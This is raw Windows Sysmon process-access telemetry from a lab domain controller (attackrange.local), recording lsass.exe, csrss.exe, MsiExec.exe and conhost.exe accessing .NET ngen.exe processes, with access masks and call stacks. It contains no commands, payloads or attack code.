14:43:47.291{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1B08-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.291{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1B08-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.276{7BD73061-6F23-613B-1C08-00000000F001}33444288C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1B08-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.276{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1C08-00000000F001}3344C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.260{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1B08-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.260{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1B08-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.260{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1908-00000000F001}5940c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.260{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1908-00000000F001}5940c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.229{7BD73061-6F23-613B-1A08-00000000F001}3486692C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1908-00000000F001}5940c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.229{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1A08-00000000F001}348C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.229{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1908-00000000F001}5940c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.229{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1908-00000000F001}5940c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.213{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1708-00000000F001}2328c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.213{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1708-00000000F001}2328c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.198{7BD73061-6F23-613B-1808-00000000F001}62647056C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1708-00000000F001}2328c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.182{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1808-00000000F001}6264C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.182{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1708-00000000F001}2328c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.182{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1708-00000000F001}2328c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.182{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1508-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.182{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1508-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.151{7BD73061-6F23-613B-1608-00000000F001}63245668C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1508-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.151{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1608-00000000F001}6324C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.151{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1508-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.151{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1508-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.135{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1308-00000000F001}6980c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.135{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1308-00000000F001}6980c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.119{7BD73061-6F23-613B-1408-00000000F001}51167112C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1308-00000000F001}6980c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.104{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1408-00000000F001}5116C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.104{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1308-00000000F001}6980c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.104{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1308-00000000F001}6980c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.104{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1108-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 